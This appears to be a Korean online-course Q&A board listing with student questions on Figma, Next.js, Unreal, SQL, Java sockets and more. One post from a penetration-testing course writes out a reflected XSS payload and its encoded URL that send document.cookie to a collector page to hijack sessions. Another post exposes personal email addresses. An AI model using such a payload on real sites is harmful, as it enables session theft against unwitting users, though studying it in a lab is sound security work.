묻고 답해요
158만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
미해결[2024 업데이트] UX/UI 시작하기 : Figma 입문 (Inflearn Original)
예제 실습 채팅 ui 만들기
지금 44강 예제 실습- 기본 기능 활용한 채팅 ui 만들기를 듣고 있습니다 여기서 10분 43초의 화면처럼 오토 레이아웃 안에 사진을 가로정렬로 복제해서 넣고 싶은데 계속 세로정렬로만 됩니다. 디자인 패널에 가운데 위치하는 것과 horizontal layout 모양, 패딩 값까지 영상 속 내용처럼 동일하게 했는데 왜 저는 강사님처럼 가로정렬로 사진을 나열할 수 없는 걸까요?챗 gpt의 도움으로도 해결할 수 없어 연락드립니다강사님은 오토 레이아웃이 된 상태에서도 어떻게 사진을 가로정렬로 하신 걸까요?
-
해결됨한 입 크기로 잘라먹는 Next.js(v15)
next 에러처리 관련 질문
안녕하세요.프로젝트에서 error.tsx를 띄우는 예시로, 백엔드 서버를 종료하여 데이터를 받아오지 못하게 함으로써 error.tsx가 표시되는 경우를 다루셨습니다. 이때, "백엔드 서버를 종료해서 데이터를 받아오지 못하게 함"을 "페이지가 렌더링되지 못하게 함"으로 이해해도 괜찮은지 궁금합니다.이 질문을 드리게 된 이유는, 프로젝트에서 에러를 처리할 때 error.tsx나 에러 페이지를 띄우는 것 외에도 다양한 방식으로 에러를 처리할 수 있기 때문입니다. 예를 들어, 에러 모달을 띄운다거나, 다른 페이지로 이동시키는 등의 방법도 있습니다. 그래서 error.tsx가 어떤 종류의 에러에 대한 대비책인지 명확히 이해하고 싶습니다.저는 error.tsx가 예상치 못한 500번대 서버 에러와 같은 페이지나 컴포넌트 렌더링 실패를 처리하는 페이지라고 이해하고 있는데, 제 이해가 맞는지 궁금합니다.
-
미해결Vue.js 완벽 가이드 - 실습과 리팩토링으로 배우는 실전 개념
깃 권한 요청드립니다.
인프런 닉네임: 놀란 호랑이인프런 이메일: madeleineluv@kakao.com깃 이메일: apple380g@gmail.com깃 닉네임: Hell0Stranger 깃 권한 요청드려요 :)
-
미해결이득우의 언리얼 프로그래밍 Part3 - 네트웍 멀티플레이 프레임웍의 이해
20m 반경을 지나면 분수대가 멈춰야 되는데 그냥 사라져버려요.
근데 또 가까이 가면 다시 생겨요.. 왜 이런걸까요
-
미해결탄탄한 백엔드 NestJS, 기초부터 심화까지
프론트 에러 뜨는데 수정 안해주시나요
수강생분들의 질문을 기다립니다! - 에러에 해당하는 질문은 "에러가 발생한 상황에 대한 충분한 설명", "에러 메세지", "에러가 난 코드 스크린샷"을 함께 첨부해주세요. - 언어에 해당하는 질문은 구글링 및 서치 후에 구체적으로 질문해주시면 좋습니다. - 간단한 진로 및 방향성에 대한 질문은 메일로 보내주세요.- 패키지 버전 관리은 실무 환경과 트랜드에 맞추어 강의를 업데이트 하고 있습니다. 강의를 그대로 따라갔는데 에러가 발생한다면 패키지 버전을 강의에서 사용하는 버전과 동일하게 맞춰주세요!- 강의 노트, QA 목록, 공지 사항을 먼저 확인해주세요.- 논리적이고 구체적인 질문은 학습 효과를 올립니다 :)
-
미해결[Rookiss University] UE5 Lyra 클론 코딩 (Haker)
Log 강의 보면서 질문이 하나 있습니다.
강의 내용은 Editor 실행 시, 로그를 확인 하는 건데... Shipping으로 패키징하고 실행했을 때... 로그 파일을 남겨서 확인할 수 있는 방법에 대해서 알 수 있을까요?(development로 패키징하여 실행했을 때, 로그 파일 남는 거는 확인했습니다.) 알려주실 게 많다면... 관련 사이트라도 부탁드립니다.ㅠㅠ
-
해결됨10주완성 C++ 코딩테스트 | 알고리즘 코딩테스트
1-O 질문있습니다.
http://boj.kr/4162dcc1379245079c7059e608127f9d 제출했는데 출력 초과가 나오는 이유를 모르겠습니다..
-
미해결모의해킹 실무자가 알려주는, XSS 공격 기법
Reflected XSS 를 이용한 세션 탈취 공격
Reflected XSS를 이용한 세션 하이재킹 강의에서 search 검색란에 <> 태그에 대한 html 엔티티 보안 조치가 적용되어 "으로만 사용하는 이벤트 핸들러를 사용Payload : " autofocus onfocus="new Image().src='http://localhost/board/session.php?data=' + document.cookie"http://localhost/board/index.php?search_type=all&keyword=%22+autofocus+onfocus%3D%22new+Image%28%29.src%3D%27http%3A%2F%2Flocalhost%2Fboard%2Fsession.php%3Fdata%3D%27+%2B+document.cookie%22&page=board페이로드는 위와 같이 작성하였으며, 해당 페이로드를 요청하는 URL은 위와 같습니다.여기서 궁금한 점은 희생자들이 URL을 요청하기 위해 게시판에 a 태그를 사용하여 링크로 접속하는 방법을 사용하셨는데 여기서 꺽새, 더블쿼터에 대한 필터링을 사용하고 있다면 아예 사용할 수 없는지 궁금합니다
-
미해결실무자를 위한 구글애널리틱스(GA4+GTM) 활용법(25년 Update)
리텐션 문자로 first_visit이 왜 잡히는 걸까요?
User acquisition 리포트는 사용자가 처음 유입된 디멘션을 기준으로 보는 것이라고, 디멘션을 fist user meidum으로 본다면 fist_visit 이벤트가 발생했을 때의 medium을 기준으로 사용자 수를 카운팅 하는 것으로 이해했습니다. 그런데, 저희 회사 데이터에 리텐션 문자로 발송되는 medium에 수치가 적지 않습니다. 리텐션 문자는 가입한 회원이기에 fist_visit이 문자일리가 없는데 말이죠. Q1. 첫 방문을 다른 매체를 통해 PC에서 한 후, 리텐션 문자를 통해 모바일로는 처음 방문했기 걸까요? 혹은 제가 first user 디멘션에 대해 잘못 이해한 것일까요? Q2. 사용자 정보가 유지되는 시간이 90일로 알고 있는데요. 그러면 사용자가 fist_visit 후 매일 방문하더라도 90일 후 fist visit 이벤트가 새로 발생하는 걸까요? 아니면 90일 동안 방문을 안하다가 해야 fist visit이 다시 발생하는 것일까요?
-
미해결Three.js로 시작하는 3D 인터랙티브 웹
얼굴 그릴 때 붓이 깔끔하게 칠해지지 않고 얼룩덜룩해요
-
미해결[2024 업데이트] UX/UI 시작하기 : Figma 입문 (Inflearn Original)
저만 섹션1의 5번째, 6번째, 7번째 영상이 안보이는건가요? @_@
강의가 안나옵니당 @_@? 저만 그런것일까유?
-
미해결데이터 분석 SQL Fundamentals
직원 별 가장 높은 매출
14:38초 예제에서 직원별 개별 상품 매출액, 직원별로 가장 높은 매출 대비 개별 상품 매출 비율 구하기 with temp_01 as( select employee_id ,sum(amount)as sum_by_emp_prod --직원별 개별 상품 매출액 -- ,max (amount) as max_emp --직원 별 가장 높은 매출 from orders a join order_items b on a.order_id=b.order_id group by employee_id )select sum_by_emp_prod,sum_by_emp_prod/max(sum_by_emp_prod)over(partition by employee_id) from temp_01; group by할때 왜 product_id도 group by하나요? 직원별 개별 상품인데 employee_id와 그룹바이 하면 되는거 아닌가여 ? 직원별로 가장 높은 매출을 max(sum_by_emp_prod)over(partition by employee_id) 이렇게 구하셧는데 with절에서 group by로 해서 with temp_01 as( select employee_id ,sum(amount)as sum_by_emp_prod --직원별 개별 상품 매출액 ,max (amount) as max_emp --직원 별 가장 높은 매출 from orders a join order_items b on a.order_id=b.order_id group by employee_id ) 이렇게 구하면 안되나여?
-
미해결[리뉴얼] 파이썬입문과 크롤링기초 부트캠프 [파이썬, 웹, 데이터 이해 기본까지] (업데이트)
주피터 노트북 관련해서 궁금한게 있습니다!
안녕하세요.주피터 노트북을 다운받았는데 강사님 인터페이스에서는 In []이렇게 나오는데 저는 In이 나오지 않아서요..혹시 제가 잘못 설치한건가 싶어서 여쭤봅니다
-
미해결처음하는 플러터(Flutter) 기초부터 실전까지 [풀스택 Part4] (쉽고 견고하게 단계별로 다양한 프로젝트까지)
강의할때 쓰이는 문서는 어디서 확인할 수 있나욧?
강의에서 쓰이는 문서는 어디서 받아볼 수 있나요?강의해서 쓰이는 파일이 아래와 같은 이름으로 되어 있는 것 같은데요~05_BASIC_WIDGETS.md- 강의 영상에 대한 질문이 있으시면, 주말/휴일 제외, 2~3일 내에 답변드립니다 - 강의 답변이 도움이 안되셨다면, dream@fun-coding.org 로 메일 주시면 재검토하겠습니다.- 괜찮으시면 질문전에 챗GPT 와 구글 검색을 꼭 활용해보세요~
-
해결됨김영한의 실전 자바 - 고급 2편, I/O, 네트워크, 리플렉션
채팅 프로그램 구현완료 이후, 보완해야할거
[질문 내용]안녕하세요, 영한님 강의 잘 이용하고있습니다. 감사합니다.다름이아니라, 이번에 채팅프로그램을 구현하고나서 구현한 기능들에 대해서 보완할게 있는지 여쭤보고싶어서 글 남깁니다. 전체코드는 아래와 같습니다. ==================우선 구현한기능들은 잘 작동합니다./ 유저리스트 / 가입 / 메세지전송 / 메세지리드 / 제가 느끼기에는, 서버파일쪽에서 가독성이 크게 떨어지는거같은데 -> if / else / try / catch ... 때문에 ... 질문은 가독성 관련입니다.가독성? --> if / else if 쪽을 어떻게 보완해야 가독성이 높아질 수 있을까요? ( 메서드 ? ) =================== [ close() 부분쪽은 따로 해결 완료했습니다! ] 서버파일입니다.package chat; import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.IOException; import java.net.ServerSocket; import java.net.Socket; import java.util.ArrayList; import java.util.List; import static util.MyLogger.log; public class Server { public static final int SERVER_PORT = 12345; public static void main(String[] args) throws IOException { log("서버를 시작합니다. 포트 번호 : " + SERVER_PORT); ServerSocket serverSocket = new ServerSocket(SERVER_PORT); Thread acceptAndChat = new Thread(new AcceptThread(serverSocket)); acceptAndChat.start(); } static class AcceptThread implements Runnable{ public ServerSocket serverSocket; public AcceptThread(ServerSocket serverSocket) { this.serverSocket = serverSocket; } @Override public void run() { Socket socket = null; DataInputStream input = null; DataOutputStream output = null; while ( true ){ try { socket = serverSocket.accept(); Sockets.addSocket(socket); input = new DataInputStream(socket.getInputStream()); output = new DataOutputStream(socket.getOutputStream()); Thread chatThread = new Thread(new ChatThread(socket, input, output)); // 채팅관련 로직을 진행하는 스레드입니다. chatThread.start(); } catch (IOException e) { log("서버 연결 도중에 문제가 발생했습니다 : " + e.getMessage() + " 프로그램을 종료합니다."); try { output.close(); input.close(); socket.close(); serverSocket.close(); } catch (IOException ee) { log("자원정리도중 에러발생 : " + ee.getMessage()); } } } } } static class ChatThread implements Runnable{ public Socket socket; public DataInputStream input; public DataOutputStream output; public ChatThread(Socket socket, DataInputStream input, DataOutputStream output) { this.socket = socket; this.input = input; this.output = output; } @Override public void run() { String currentThreadName; List<String> threadsNames = new ArrayList<>(); boolean isFirst; while ( true ) { String received = ""; try { received = input.readUTF(); } catch (IOException e) { if ( e.equals("Connection reset") ){ log("사용자가 연결을 종료했습니다. 해당 사용자의 세션을 삭제합니다."); Sockets.removeSocket(socket); break; } log("클라이언트로부터 전송된 메세지를 받는도중, 에러가 발생했습니다 : " + e.getMessage()); break; } if ( received.equals("exit") ){ log("프로그램 종료 - 유저 요청"); break; } else if ( received.equals("list") ){ List<String> userNames = Users.getUserNames(); log("사용자가 목록 조회를 했습니다."); try { output.writeUTF(String.valueOf(userNames)); } catch (IOException e) { log("사용자 목록을 유저에게 보내는도중, 에러가 발생했습니다"); } } else { // 유저가 처음 채팅방에 입장했을때, 유저 닉네임을 참여자목록에 넣어주는 과정입니다. currentThreadName = Thread.currentThread().getName(); isFirst = threadsNames.contains(currentThreadName); if ( !isFirst ){ log("사용자 : " + received + " 님이 채팅방에 입장했습니다."); Users.addUserName(received); log("유저를 추가했습니다."); threadsNames.add(currentThreadName); System.out.println(threadsNames); log("스레드를 추가했습니다."); } // 유저가 입장하고나서, 메세지를 전송하면 서버가 메세지를 받아서 메세지를 Sockets 에 있는 Socket 들에 전송하는 과정입니다. else { log("클라이언트로부터 메세지가 도착했습니다 : " + received); // 메세지를 Sockets 에 있는 Socket 들에 전송 try { Sockets.sendMessage(received); } catch (IOException e) { log("서버에서 클라이언트로 메세지를 전송하는 도중, 에러 발생 : " + e.getMessage()); } } log("테스트"); } } } } } 클라이언트 파일입니다.package chat; import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.IOException; import java.net.Socket; import java.util.Scanner; import static chat.Server.SERVER_PORT; import static util.MyLogger.log; public class Client { public static void main(String[] args) throws IOException, InterruptedException { Socket socket = new Socket("localhost", SERVER_PORT); // 서버와 연결 DataOutputStream output = new DataOutputStream(socket.getOutputStream()); DataInputStream input = new DataInputStream(socket.getInputStream()); Scanner scanner = new Scanner(System.in); System.out.print("/join 을 입력해서 채팅방에 입장하세요 :"); String toJoin = scanner.nextLine(); if ( !toJoin.equals("/join") ){ System.out.println("명령어를 정확하게 입력해주세요. 재시작합니다."); } else { System.out.print("채팅방에서 사용할 닉네임을 입력해주세요 : "); String userName = scanner.nextLine(); // 닉네임입력 -> 채팅방 입장 // 닉네임 -> 서버에 전송 -> 서버가 유저모음집에 유저닉네임을 넣어줌 log(userName + " 채팅방에 입장했습니다."); output.writeUTF(userName); Thread sendThread = new Thread(() -> { while ( true ){ System.out.print("전송할 메세지를 입력해주세요 ( 종료 : exit ) : "); String toSend = scanner.nextLine(); if (toSend.equals("exit")) { System.out.println("프로그램을 종료합니다."); return; } try { output.writeUTF(toSend); // 전송할 메세지를 서버에 전송 } catch (IOException e) { log("메세지 전송도중 에러발생"); } } }); Thread receiveThread = new Thread(() -> { while ( true ) { String received = null; try { received = input.readUTF(); } catch (IOException e) { log("메세지를 읽는도중 에러발생 : " + e.getMessage()); } log("메세지가 도착했습니다 : " + received); } }); sendThread.start(); receiveThread.start(); sendThread.join(); receiveThread.join(); } // 채팅 프로그램을 종료했으니, 자원을 정리하고 종료합니다. log("채팅 프로그램 종료, 자원을 정리하고 종료합니다."); input.close(); output.close(); socket.close(); } } ======= 아래 두개는 서버 / 클라이언트 파일이아닌 도움을 주는 파일입니다.서버와 클라이언트간에 소켓이 연결되고나서, 클라이언트 정보들이 담겨져있는 소켓들을 저장하는 공간입니다. package chat; import java.io.DataOutputStream; import java.io.IOException; import java.net.Socket; import java.util.HashMap; import java.util.Map; public class Sockets { private static Map<Socket, Boolean> sockets = new HashMap<>(); public static void addSocket(Socket socket){ sockets.put(socket, true); } public static void sendMessage(String message) throws IOException { for (Socket socket : sockets.keySet()) { DataOutputStream output = new DataOutputStream(socket.getOutputStream()); output.writeUTF(message); } } public static void removeSocket(Socket socket){ sockets.remove(socket); } public static Boolean getValue(Socket socket) { return sockets.get(socket); } public static boolean changeValue(Socket socket){ return sockets.get(socket); } } 채팅방에 접속한 유저들을 모아놓은 공간입니다.package chat; import java.util.ArrayList; import java.util.List; public class Users { private static List<String> userNames = new ArrayList<>(); public static void addUserName(String userName){ userNames.add(userName); } public static List<String> getUserNames() { return userNames; } }
-
미해결OpenCV 강좌 - 컴퓨터 비전
안녕하세요 맥 cuda 관련해서 질문 올립니다.
안녕하세요 opencv 필요성을 느껴 찾게 되었습니다.제가 맥북프로 사용하고 있는데 cuda 설치가 안 되는데 설치 안해도 괜찮을까요??
-
해결됨한 번에 끝내는 자바스크립트: 바닐라 자바스크립트로 SPA 개발까지
API 관련 질문
안녕하세요 !해당 강의를 듣고 기능은 비슷한데 내용은 조금 다른 홈페이지를 제작해보고 싶어져서 질문 드립니다 !API를 호출하는 기능은 이해했는데, 강사님이 만드신 API 처럼 저도 직접 간단한 정보를 담은 api 를 만들어보고 싶은데 이 부분은 어떻게 제작하는 지 알 수 있을까요?!
-
해결됨한 입 크기로 잘라 먹는 리액트(React.js) : 기초부터 실전까지
API 관련 질문
안녕하세요 ! 해당 리액트 강의에서 했던 실습에서는 기능위주? 로 진행해서 궁금증이 생겼습니다 !만약 리액트를 사용해서 간단한 정보 공유 웹 사이트를 만든다면 텍스트의 양이 많아지는데이런 경우에는 파일 내부에 내용을 작성하면 코드가 길어지니, 직접 api 제작하고, 연동하는 게 맞는 거겠죠!?
-
미해결이득우의 언리얼 프로그래밍 Part4 - 게임플레이 어빌리티 시스템
NPC HpBar 설정
Player HpBar는 이상이 없었는데 NPC HpBar를 만들 때 ensure를 그대로 사용하면 null값이 나와서 에러가 나더라구요.Player와 NPC가 생성되는 시점이 다른 게 원인인가요?
-
해결됨김영한의 실전 자바 - 고급 2편, I/O, 네트워크, 리플렉션
채팅프로그램 사용자 입력 받기 do-while 사용
학습하는 분들께 도움이 되고, 더 좋은 답변을 드릴 수 있도록 질문 전에 다음을 꼭 확인해주세요.1. 강의 내용과 관련된 질문을 남겨주세요.2. 인프런의 질문 게시판과 자주 하는 질문(링크)을 먼저 확인해주세요.(자주 하는 질문 링크: https://bit.ly/3fX6ygx)3. 질문 잘하기 메뉴얼(링크)을 먼저 읽어주세요.(질문 잘하기 메뉴얼 링크: https://bit.ly/2UfeqCG)질문 시에는 위 내용은 삭제하고 다음 내용을 남겨주세요.=========================================[질문 템플릿]1. 강의 내용과 관련된 질문인가요? 예2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? 예3. 질문 잘하기 메뉴얼을 읽어보셨나요? 예[질문 내용] 단순히 한번 입력 받는 게 아닌 do-while문을 사용하신 이유가 궁금합니다!